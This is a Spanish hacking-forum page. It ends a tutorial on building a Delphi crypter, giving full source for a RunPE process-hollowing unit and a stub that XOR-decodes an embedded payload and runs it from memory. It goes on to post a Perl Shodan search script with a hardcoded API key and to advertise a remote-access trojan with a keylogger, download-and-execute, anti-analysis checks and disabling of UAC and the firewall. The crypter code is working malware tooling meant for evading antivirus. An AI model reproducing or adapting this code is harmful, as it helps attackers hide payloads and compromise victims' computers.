Y para terminar la Unit guardenla con el nombre de "tools".

Les deberia quedar algo asi :



Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :

Código (delphi) [Seleccionar]

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,tools;


Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.

0x03 : Creacion del Stub

Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :





Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :



Una vez creado ponemos el siguiente codigo :

Código (delphi) [Seleccionar]

{ uExecFromMem

  Author: steve10120
  Description: Run an executable from another's memory.
  Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
  Reference: http://www.security.org.sg/code/loadexe.html
  Release Date: 26th August 2009
  Website: http://ic0de.org
  History: First try

  Additions by testest 15th July 2010:
    - Parameter support
    - Win7 x64 support
}

unit uExecFromMem;

interface

uses Windows;

function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;

implementation

function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';

type
  PImageBaseRelocation = ^TImageBaseRelocation;
  TImageBaseRelocation = packed record
     VirtualAddress: DWORD;
     SizeOfBlock: DWORD;
  end;

procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
  l_i: Cardinal;
  l_codebase: Pointer;
  l_relocation: PImageBaseRelocation;
  l_dest: Pointer;
  l_relInfo: ^Word;
  l_patchAddrHL: ^DWord;
  l_type, l_offset: integer;
begin
  l_codebase := f_module;
  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  begin
    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
    while l_relocation.VirtualAddress > 0 do
    begin
      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
      l_relInfo := Pointer(Cardinal(l_relocation) + 8);
      for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
      begin
        l_type := (l_relInfo^ shr 12);
        l_offset := l_relInfo^ and $FFF;
        if l_type = 3 then
        begin
          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
          l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
        end;
        inc(l_relInfo);
      end;
      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
    end;
  end;
end;

function AlignImage(pImage:Pointer):Pointer;
var
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  ISH:          PImageSectionHeader;
  i:            WORD;
begin
  IDH := pImage;
  INH := Pointer(Integer(pImage) + IDH^._lfanew);
  GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
  for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
  begin
    ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
    CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  end;
end;

function Get4ByteAlignedContext(var Base: PContext): PContext;
begin
  Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
  Result := Base;
  if Base <> nil then
    while ((DWORD(Result) mod 4) <> 0) do
      Result := Pointer(DWORD(Result) + 1);
end;

function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
var
  PI:           TProcessInformation;
  SI:           TStartupInfo;
  CT:           PContext;
  CTBase:       PContext;
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  dwImageBase:  DWORD;
  pModule:      Pointer;
  dwNull:       DWORD;
begin
  if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;

  Result := 0;
  IDH := pFile;
  if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
  begin
    INH := Pointer(Integer(pFile) + IDH^._lfanew);
    if INH^.Signature = IMAGE_NT_SIGNATURE then
    begin
      FillChar(SI, SizeOf(TStartupInfo), #0);
      FillChar(PI, SizeOf(TProcessInformation), #0);
      SI.cb := SizeOf(TStartupInfo);
      if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
      begin
        CT := Get4ByteAlignedContext(CTBase);
        if CT <> nil then
        begin
          CT.ContextFlags := CONTEXT_FULL;
          if GetThreadContext(PI.hThread, CT^) then
          begin
            ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
            if dwImageBase = INH^.OptionalHeader.ImageBase then
            begin
              if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
                pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
              else
                pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            end
            else
              pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if pModule <> nil then
            begin
              pFile := AlignImage(pFile);
              if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
              begin
                PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
                INH^.OptionalHeader.ImageBase := DWORD(pModule);
                CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
              end;
              WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
              WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
              CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
              SetThreadContext(PI.hThread, CT^);
              ResumeThread(PI.hThread);
              Result := PI.hThread;
            end;
          end;
          VirtualFree(CTBase, 0, MEM_RELEASE);
        end;
        if Result = 0 then
          TerminateProcess(PI.hProcess, 0);
      end;
    end;
  end;
end;

end.


Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi :



Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :

Código (delphi) [Seleccionar]

uses
  SysUtils, StrUtils, Windows, uExecFromMem, tools;


Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.

Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.

El codigo :

Código (delphi) [Seleccionar]

type
  otro_array = array of string;
  // Declaramos el tipo "otro_array" como array of string


Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.

El codigo :

Código (delphi) [Seleccionar]

procedure regex2(texto: string; separador: string; var resultado: otro_array);
// Thanks to ecfisa for the help
var
  numero1: integer; // Declaramos la variable "numero1" como integer
  numero2: integer; // Declaramos la variable "numero2" como integer
begin
  texto := texto + separador; // Concatenamos la variable "texto" y "separador"
  numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
  // la variable "texto"
  numero1 := 1; // Establecemos la variable "numero1" como "1"
  while numero1 <= numero2 do
  // Mientras "numero1" sea menor o igual a "numero2" ...
  begin
    SetLength(resultado, Length(resultado) + 1);
    // Establecemos la longitud de resultado
    // a la longitud de la variable "resultado" mas "1"
    resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
    // Establecemos la variable "resultado" como la copia de las variables "texto",
    // "numero1" y la resta de las variables "numero2" y "numero1"
    numero1 := numero2 + Length(separador);
    // Establecemos la variable "numero1" como
    // la suma de la variable "numero2" y la longitud de ña variable "separador"
    numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
    // "separador" en el variable "texto"
  end;
end;


Ahora agregamos el siguiente codigo entre el begin principal.

El codigo :

Código (delphi) [Seleccionar]

var
  todo: string; // Declaramos la variable "todo" como string
  codigo: string; // Declaramos la variable "codigo" como string
  key: string; // Declaramos la variable "key" como string
  datos: otro_array; // Declaramos la variable "datos" como otro_array

begin

  todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
  // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"

  regex2(todo, '-barra-', datos);
  // Separamos los delimitadores que estan separados
  // por "-barra-" en la variable "todo"

  key := datos[2];
  // Establecemos como "key" la segunda posicion del array "datos"
  codigo := datos[1];
  // Establecemos como "codigo" la primera posicion del array
  // "datos"

  codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
  // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
  // guardamos en la variable "codigo"

  ExecuteFromMem(paramstr(0), '', Pchar(codigo));
  // Ejecutamos el codig en memoria
  // usando la funcion "ExecuteFromMem"

end.


Una imagen de como deberia quedarles el codigo :



Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.

0x04 : Probando el Crypter

Para probar el Crypter vamos a probarlo con una copia del programa mismo para cifrar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa cifrado , simplemente lo abrimos y veremos el builder cifrado.

Unas imagenes :









Con ven el Crypter funciona correctamente.

0x05 : Creditos

OP Crypter by Xash.
uExecFromMem by steve10120 - fixed for Win7x64 by testest.

Eso seria todo.

--========--
  The End ?
--========--

Version PDF.

Version en VideoTutorial :

[youtube=640,360]https://www.youtube.com/watch?v=SjB6qK9ixz8[/youtube]
#66
Scripting / [Perl] Shodan Tool 0.6
10 Abril 2015, 16:01 PM
Un simple script para hacer busquedas en Shodan con las siguientes opciones :

  • Buscar resultados por IP
  • Buscar resultados por cantidad
  • Busqueda normal
  • Listar los query guardados
  • Busca los query guardados que ya fueron buscados
  • Lista los tags mas populares
  • Lista todos los servicios que shodan encuentra
  • DNS Lookup
  • Reverse DNS Lookup
  • Te devuelve tu IP
  • Te da informacion sobre tu API

    Es necesario que tengan una API Key suya para poder usar la API de Shodan.

    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=pvtNveG1N-w[/youtube]

    El codigo :

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #Shodan Tool 0.6
    #(C) Doddy Hackman 2015
    #Based on : https://developer.shodan.io/api
    #ppm install http://www.eekboek.nl/dl/ppms/Crypt-SSLeay.ppd
    #ppm install http://www.bribes.org/perl/ppm/JSON.ppd

    use LWP::UserAgent;
    use JSON;
    use Getopt::Long;
    use Color::Output;
    Color::Output::Init;
    use IO::Socket;

    my $nave = LWP::UserAgent->new( ssl_opts => { verify_hostname => 1 } );
    $nave->agent(
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
    );
    $nave->timeout(5);

    my $api_key = "LY10TuYViggY3GXRzLOUxdp6Kk3Lu9sa";

    GetOptions(
       "ip=s"           => \$ip,
       "count=s"        => \$count,
       "search=s"       => \$search,
       "query"          => \$query,
       "query_search=s" => \$query_search,
       "query_tags"     => \$query_tags,
       "services"       => \$services,
       "resolve=s"      => \$resolve,
       "reverse=s"      => \$reverse,
       "myip"           => \$myip,
       "api_info"       => \$api_info
    );

    head();

    if ( $ip ne "" ) {
       if ( $ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ ) {
           print by_ip($ip);
       }
       else {
           my $get = gethostbyname($ip);
           my $ip  = inet_ntoa($get);
           by_ip($ip);
       }
    }
    elsif ( $count ne "" ) {
       by_count($count);
    }
    elsif ( $search ne "" ) {
       by_search($search);
    }
    elsif ( $query ne "" ) {
       by_query();
    }
    elsif ($query_search) {
       by_query_search($query_search);
    }
    elsif ($query_tags) {

       by_query_tags($query_tags);

    }
    elsif ( $services ne "" ) {
       list_services();
    }
    elsif ( $resolve ne "" ) {
       resolve($resolve);
    }
    elsif ( $reverse ne "" ) {
       reverse_now($reverse);
    }
    elsif ( $myip ne "" ) {
       my_ip();
    }
    elsif ( $api_info ne "" ) {
       api_info();
    }
    else {
       sintax();
    }

    copyright();

    # Functions

    sub by_query_tags {

       printear_titulo("\n[+] Listening the most popular tags  ...\n\n");

       my $code =
         toma( "https://api.shodan.io/shodan/query/tags?key=" . $api_key );

       $resultado = JSON->new->decode($code);

       my $total = $resultado->{'total'};

       if ( $total ne "" ) {
           printear("[+] Total : ");
           print $total. "\n\n";
       }
       else {
           printear("[-] WTF !");
       }

       my $i = 0;

       my @encontrados = @{ $resultado->{'matches'} };
       foreach my $encontrado (@encontrados) {
           my $value = $encontrado->{"value"};
           my $count = $encontrado->{"count"};

           $i++;
           print "-------------------------------------\n\n";
           if ( $value ne "" ) {
               printear("[+] Value : ");
               print $value. "\n";
           }

           if ( $count ne "" ) {
               printear("[+] Count : ");
               print $count. "\n";
           }

           print "\n-------------------------------------\n";

           if ( $i % 5 == 0 ) {
               printear("\n[+] Press enter to show more\n");
               <STDIN>;
           }

       }

    }

    sub by_query_search {

       my $query = $_[0];

       printear_titulo(
           "\n[+] Searching in the directory of saved search queries ...\n\n");

       my $code =
         toma( "https://api.shodan.io/shodan/query/search?key="
             . $api_key
             . "&query="
             . $query );

       $resultado = JSON->new->decode($code);

       my $total = $resultado->{'total'};

       if ( $total ne "" ) {
           printear("[+] Total : ");
           print $total. "\n\n";
       }
       else {
           printear("[-] WTF !");
       }

       my $i = 0;

       my @encontrados = @{ $resultado->{'matches'} };
       foreach my $encontrado (@encontrados) {
           $i++;
           print "-------------------------------------\n\n";
           my $votes       = $encontrado->{"votes"};
           my $description = $encontrado->{"description"};
           my $title       = $encontrados->{"title"};
           my $timestamp   = $encontrados->{"timestamp"};
           my $query       = $encontrados->{"query"};

           if ( $votes ne "" ) {
               printear("[+] Votes : ");
               print $votes. "\n";
           }

           if ( $description ne "" ) {
               printear("[+] Description : ");
               print $description. "\n\n";
           }

           if ( $title ne "" ) {
               printear("[+] Title : ");
               print $title. "\n";
           }

           if ( $timestamp ne "" ) {
               printear("[+] Timestamp : ");
               print $timestamp. "\n";
           }

           if ( $query ne "" ) {
               printear("[+] Query : ");
               print $query. "\n";
           }

           printear("[+] Tags : ");
           my @tags = @{ $encontrado->{'tags'} };
           foreach my $tag (@tags) {
               print $tag. "\t";
           }
           print "\n";

           print "\n-------------------------------------\n";

           if ( $i % 5 == 0 ) {
               printear("\n[+] Press enter to show more\n");
               <STDIN>;
           }

       }

    }

    sub by_query {

       printear_titulo("\n[+] Listening the saved search queries ...\n\n");

       my $code = toma( "https://api.shodan.io/shodan/query?key=" . $api_key );
       $resultado = JSON->new->decode($code);

       my $total = $resultado->{'total'};

       if ( $total ne "" ) {
           printear("[+] Total : ");
           print $total. "\n\n";
       }
       else {
           printear("[-] WTF !");
       }

       my $i = 0;

       my @encontrados = @{ $resultado->{'matches'} };
       foreach my $encontrado (@encontrados) {
           $i++;
           print "-------------------------------------\n\n";
           my $votes       = $encontrado->{"votes"};
           my $description = $encontrado->{"description"};
           my $title       = $encontrados->{"title"};
           my $timestamp   = $encontrados->{"timestamp"};
           my $query       = $encontrados->{"query"};

           if ( $votes ne "" ) {
               printear("[+] Votes : ");
               print $votes. "\n";
           }

           if ( $description ne "" ) {
               printear("[+] Description : ");
               print $description. "\n\n";
           }

           if ( $title ne "" ) {
               printear("[+] Title : ");
               print $title. "\n";
           }

           if ( $timestamp ne "" ) {
               printear("[+] Timestamp : ");
               print $timestamp. "\n";
           }

           if ( $query ne "" ) {
               printear("[+] Query : ");
               print $query. "\n";
           }

           printear("[+] Tags : ");
           my @tags = @{ $encontrado->{'tags'} };
           foreach my $tag (@tags) {
               print $tag. "\t";
           }
           print "\n";

           print "\n-------------------------------------\n";

           if ( $i % 5 == 0 ) {
               printear("\n[+] Press enter to show more\n");
               <STDIN>;
           }

       }

    }

    sub list_services {

       printear_titulo("\n[+] Listening all services that Shodan crawls ...\n\n");

       my $code = toma( "https://api.shodan.io/shodan/services?key=" . $api_key );
       if ( $code ne "" ) {
           my $i = 0;
           while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
               $i++;
               my $port = $1;
               my $name = $2;
               printear("[+] Port : ");
               print $port. "\n";
               printear("[+] Name : ");
               print $name. "\n\n";

               if ( $i % 20 == 0 ) {
                   printear("\n[+] Press enter to show more\n");
                   <STDIN>;
               }

           }
       }
       else {
           print "[-] WTF !" . "\n";
       }

    }

    sub resolve {

       my $hostnames = $_[0];

       printear_titulo("\n[+] Working in DNS Lookup ...\n\n");

       my $code =
         toma( "https://api.shodan.io/dns/resolve?hostnames="
             . $hostnames . "&key="
             . $api_key );
       if ( $code ne "" ) {
           while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
               my $host = $1;
               my $ip   = $2;
               printear("[+] Hostname : ");
               print $host. "\n";
               printear("[+] IP : ");
               print $ip. "\n";
           }
       }
       else {
           printear( "[-] WTF !" . "\n" );
       }

    }

    sub reverse_now {

       $ips = $_[0];

       printear_titulo("\n[+] Working in Reverse DNS Lookup ...\n\n");

       my $code = toma(
           "https://api.shodan.io/dns/reverse?ips=" . $ips . "&key=" . $api_key );
       if ( $code ne "" ) {
           while ( $code =~ /"(.*?)": \["(.*?)"\]/migs ) {
               my $ip   = $1;
               my $host = $2;
               printear("[+] IP : ");
               print $ip. "\n";
               printear("[+] Hostname : ");
               print $host. "\n";
           }
       }
       else {
           printear( "[-] WTF !" . "\n" );
       }
    }

    sub my_ip {
       printear_titulo("\n[+] Getting your IP ...\n\n");
       my $code = toma( "https://api.shodan.io/tools/myip?key=" . $api_key );
       if ( $code =~ /"(.*)"/ ) {
           my $ip = $1;
           printear("[+] IP : ");
           print $ip. "\n";
       }
       else {
           printear( "[-] WTF !" . "\n" );
       }
    }

    sub api_info {

       printear_titulo("\n[+] Getting your API Info ...\n\n");

       my $code = toma( "https://api.shodan.io/api-info?key=" . $api_key );

       $resultado = JSON->new->decode($code);
       my $unlock_left = $resultado->{"unlocked_left"};
       my $telnet      = $resultado->{"telnet"};
       my $plan        = $resultado->{"plan"};
       my $http        = $resultado->{"https"};
       my $unlocked    = $resultado->{"unlocked"};

       if ( $unlock_left ne "" ) {
           printear("[+] Unlocked left : ");
           print $unlock_left. "\n";
       }
       if ( $telnet ne "" ) {
           printear("[+] Telnet : ");
           print $telnet. "\n";
       }
       if ( $plan ne "" ) {
           printear("[+] Plan : ");
           print $plan. "\n";
       }
       if ( $http ne "" ) {
           printear("[+] HTTPS : ");
           print $http. "\n";
       }
       if ( $unlocked ne "" ) {
           printear("[+] Unlocked : ");
           print $unlocked. "\n";
       }

    }

    sub by_count {

       my $query  = $_[0];
       my $fecets = "";

       printear_titulo("\n[+] Searching in Shodan without Results ...\n\n");

       my $code =
         toma( "https://api.shodan.io/shodan/host/count?key="
             . $api_key
             . "&query="
             . $query
             . "&facets="
             . $facets );

       $resultado = JSON->new->decode($code);
       my $total = $resultado->{"total"};
       if ( $total ne "" ) {
           printear("[+] Total : ");
           print $total. "\n";
       }
       else {
           printear( "[-] WTF !" . "\n" );
       }

    }

    sub by_ip {

       my $target = $_[0];

       printear("\n[+] Target : ");
       print $target. "\n";

       printear_titulo("\n[+] Getting Host Information ...\n\n");

       my $code = toma(
           "https://api.shodan.io/shodan/host/" . $target . "?key=" . $api_key );
       $resultado = JSON->new->decode($code);

       my $ip           = $resultado->{'ip'};
       my $country_name = $resultado->{'country_name'};
       my $country_code = $resultado->{'country_code'};
       my $region_name  = $resultado->{'region_name'};
       my $postal_code  = $resultado->{'postal_code'};

       if ( $ip ne "" ) {
           printear("[+] IP : ");
           print $ip. "\n";
       }
       if ( $country_name ne "" ) {
           printear("[+] Country Name : ");
           print $country_name. "\n";
       }
       if ( $country_code ne "" ) {
           printear("[+] Country Code : ");
           print $country_code. "\n";
       }
       if ( $region_name ne "" ) {
           printear("[+] Area Code : ");
           print $region_name. "\n";
       }
       if ( $postal_code ne "" ) {
           printear("[+] Postal Code : ");
           print $postal_code. "\n";
       }
       printear("[+] Hostnames : ");
       my @hostnames = @{ $resultado->{'hostnames'} };
       foreach my $host (@hostnames) {
           print $host. "\t";
       }
       print "\n";
       printear_titulo("\n[+] Getting Data ...\n\n");
       my $i           = 0;
       my @encontrados = @{ $resultado->{'data'} };
       foreach my $encontrado (@encontrados) {
           $i++;
           print "-------------------------------------\n\n";
           my $ip           = $encontrado->{"ip_str"};
           my $country      = $encontrado->{"location"}{"country_name"};
           my $product      = $encontrado->{"product"};
           my $version      = $encontrado->{"version"};
           my $data         = $encontrado->{"data"};
           my $cpe          = $encontrado->{"cpe"};
           my $time         = $encontrado->{"timestamp"};
           my $last_updated = $encontrado->{"last_update"};
           my $port         = $encontrado->{"port"};
           my $os           = $encontrado->{"os"};
           my $isp          = $encontrado->{"isp"};
           my $ans          = $encontrado->{"ans"};
           my $banner       = $encontrado->{"banner"};

           if ( $ip ne "" ) {
               printear("[+] IP : ");
               print $ip. "\n";
           }
           if ( $port ne "" ) {
               printear("[+] Port : ");
               print $port. "\n";
           }
           printear("[+] Hostnames : ");
           my @hostnames2 = @{ $encontrado->{'hostnames'} };
           foreach my $host2 (@hostnames2) {
               print $host2. "\t";
           }
           print "\n";
           if ( $country ne "" ) {
               printear("[+] Country : ");
               print $country. "\n";
           }
           if ( $product ne "" ) {
               printear("[+] Product : ");
               print $product. "\n";
           }
           if ( $version ne "" ) {
               printear("[+] Version : ");
               print $version. "\n";
           }
           if ( $data ne "" ) {
               printear("[+] Data : ");
               print "\n\n" . $data . "\n";
           }
           if ( $time ne "" ) {
               printear("[+] Time : ");
               print $time. "\n";
           }
           if ( $last_updated ne "" ) {
               printear("[+] Last Updated : ");
               print $last_updated. "\n";
           }
           if ( $cpe ne "" ) {
               printear("[+] CPE : ");
               print $cpe. "\n";
           }
           if ( $os ne "" ) {
               printear("[+] OS : ");
               print $os. "\n";
           }
           if ( $isp ne "" ) {
               printear("[+] ISP : ");
               print $isp. "\n";
           }
           if ( $asn ne "" ) {
               printear("[+] ASN : ");
               print $ans. "\n";
           }
           if ( $banner ne "" ) {
               printear("[+] Banner : ");
               print $banner. "\n";
           }
           print "\n-------------------------------------\n";

           if ( $i % 5 == 0 ) {
               printear("\n[+] Press enter to show more\n");
               <STDIN>;
           }

       }

    }

    sub by_search {

       my $target = $_[0];

       printear("[+] Target : ");
       print $target. "\n";

       printear_titulo("\n[+] Searching in Shodan ...\n\n");

       my $code =
         toma( "https://api.shodan.io/shodan/host/search?key="
             . $api_key
             . "&query="
             . $target
             . "&facets=" );

       $resultado = JSON->new->decode($code);

       my $total = $resultado->{'total'};

       if ( $total ne "" ) {
           printear("[+] Total : ");
           print $total. "\n";
       }
       else {
           printear("[-] WTF !");
       }

       my $ip           = $resultado->{'ip'};
       my $country_name = $resultado->{'country_name'};
       my $country_code = $resultado->{'country_code'};
       my $region_name  = $resultado->{'region_name'};
       my $postal_code  = $resultado->{'postal_code'};

       if ( $ip ne "" ) {
           printear("[+] IP : ");
           print $ip. "\n";
       }
       if ( $country_name ne "" ) {
           printear("[+] Country Name : ");
           print $country_name. "\n";
       }
       if ( $country_code ne "" ) {
           printear("[+] Country Code : ");
           print $country_code. "\n";
       }
       if ( $region_name ne "" ) {
           printear("[+] Area Code : ");
           print $region_name. "\n";
       }
       if ( $postal_code ne "" ) {
           printear("[+] Postal Code : ");
           print $postal_code. "\n";
       }

       if ( $resultado->{'hostnames'}[0] ne "" ) {
           printear("[+] Hostnames : ");
           my @hostnames = @{ $resultado->{'hostnames'} };
           foreach my $host (@hostnames) {
               print $host. "\t";
           }
           print "\n";
       }

       printear_titulo("\n[+] Getting Data ...\n\n");

       my $i = 0;

       my @encontrados = @{ $resultado->{'matches'} };
       foreach my $encontrado (@encontrados) {
           $i++;
           print "-------------------------------------\n\n";
           my $ip           = $encontrado->{"ip_str"};
           my $country      = $encontrado->{"location"}{"country_name"};
           my $product      = $encontrado->{"product"};
           my $version      = $encontrado->{"version"};
           my $data         = $encontrado->{"data"};
           my $cpe          = $encontrado->{"cpe"};
           my $time         = $encontrado->{"timestamp"};
           my $last_updated = $encontrado->{"last_update"};
           my $port         = $encontrado->{"port"};
           my $os           = $encontrado->{"os"};
           my $isp          = $encontrado->{"isp"};
           my $ans          = $encontrado->{"ans"};
           my $banner       = $encontrado->{"banner"};

           if ( $ip ne "" ) {
               printear("[+] IP : ");
               print $ip. "\n";
           }
           if ( $port ne "" ) {
               printear("[+] Port : ");
               print $port. "\n";
           }
           printear("[+] Hostnames : ");
           my @hostnames2 = @{ $encontrado->{'hostnames'} };
           foreach my $host2 (@hostnames2) {
               print $host2. "\t";
           }
           print "\n";
           if ( $country ne "" ) {
               printear("[+] Country : ");
               print $country. "\n";
           }
           if ( $product ne "" ) {
               printear("[+] Product : ");
               print $product. "\n";
           }
           if ( $version ne "" ) {
               printear("[+] Version : ");
               print $version. "\n";
           }
           if ( $data ne "" ) {
               printear("[+] Data : ");
               print "\n\n" . $data . "\n";
           }
           if ( $time ne "" ) {
               printear("[+] Time : ");
               print $time. "\n";
           }
           if ( $last_updated ne "" ) {
               printear("[+] Last Updated : ");
               print $last_updated. "\n";
           }
           if ( $cpe ne "" ) {
               printear("[+] CPE : ");
               print $cpe. "\n";
           }
           if ( $os ne "" ) {
               printear("[+] OS : ");
               print $os. "\n";
           }
           if ( $isp ne "" ) {
               printear("[+] ISP : ");
               print $isp. "\n";
           }
           if ( $asn ne "" ) {
               printear("[+] ASN : ");
               print $ans. "\n";
           }
           if ( $banner ne "" ) {
               printear("[+] Banner : ");
               print $banner. "\n";
           }
           print "\n-------------------------------------\n";

           if ( $i % 5 == 0 ) {
               printear("\n[+] Press enter to show more\n");
               <STDIN>;
           }

       }

    }

    sub printear {
       cprint( "\x036" . $_[0] . "\x030" );
    }

    sub printear_logo {
       cprint( "\x037" . $_[0] . "\x030" );
    }

    sub printear_titulo {
       cprint( "\x0310" . $_[0] . "\x030" );
    }

    sub toma {
       return $nave->get( $_[0] )->content;
    }

    sub sintax {
       printear("\n[+] Sintax : ");
       print "perl $0 <option> <value>\n";
       printear("\n[+] Options : \n\n");
       print "-ip <ip> : Host Information\n";
       print "-count <query> : Search Shodan without Results\n";
       print "-search <query> : Search Shodan\n";
       print "-query : List the saved search queries\n";
       print
         "-query_search <query> : Search the directory of saved search queries\n";
       print "-query_tags : List the most popular tags\n";
       print "-services : List all services that Shodan crawls\n";
       print "-resolve <host> : DNS Lookup\n";
       print "-reverse <ip> : Reverse DNS Lookup\n";
       print "-myip : My IP Address\n";
       print "-api_info : API Plan Information\n";
       printear("\n[+] Example : ");
       print "perl shodan.pl -search petardas\n";
       copyright();
    }

    sub head {
       printear_logo("\n-- == Shodan Tool 0.6 == --\n\n");
    }

    sub copyright {
       printear_logo("\n\n-- == (C) Doddy Hackman 2015 == --\n\n");
       exit(1);
    }

    # The End ?


    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
#67
Un programa en Delphi para hacer busquedas en Shodan con las siguientes opciones :

  • Buscar resultados por IP
  • Buscar resultados por cantidad
  • Busqueda normal
  • Listar los query guardados
  • Busca los query guardados que ya fueron buscados
  • Lista los tags mas populares
  • Lista todos los servicios que shodan encuentra
  • DNS Lookup
  • Reverse DNS Lookup
  • Te devuelve tu IP
  • Te da informacion sobre tu API

    Es necesario que tengan una API Key suya para poder usar este programa.

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=yTQGNzXNUak[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.
    Github.
#68
El codigo es muy largo para los foros , el comprimido viene con el proyecto para cargar en Delphi y con el ejecutable.
#69
Programación General / [Delphi] DH Rat 1.0
24 Marzo 2015, 16:57 PM
Hoy les traigo la nueva version de mi DH Rat en Delphi , esta version contiene las siguientes funciones :

  • Listar archivos en un directorio con la posibilidad de leerlos o borrarlos
  • Listar y cerrar procesos
  • Ejecutar comandos
  • Activar y desactivar Firewall
  • Activar y desactivar Regedit
  • Abrir y cerrar lectora de CD
  • Ocultar y mostrar barra de tareas
  • Ocultar y mostrar iconos del escritorio
  • Mandar mensajes al infectado
  • Enviar pulsaciones de teclado
  • Abrir Word y hacer que escriba solo
  • Volver loco al mouse
  • Volver loca la hora
  • Se puede apagar,reiniciar y cerrar sesion de la computadora
  • Se pueden cargar paginas
  • Se puede cargar paint
  • Se puede cambiar el texto de la hora y escribir lo que quieran
  • Se puede apagar el monitor
  • Se puede hacer hablar (en ingles) a la computadora
  • Bomba de Beeps
  • Se puede listar los drives disponibles
  • Se puede listar los servicios de Windows
  • Se puede listar las ventanas activas
  • Se puede bajar archivos y ejecutarlos
  • Incorpora un keylogger que captura las teclas y ventanas activas
  • Se puede desintalar el RAT

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
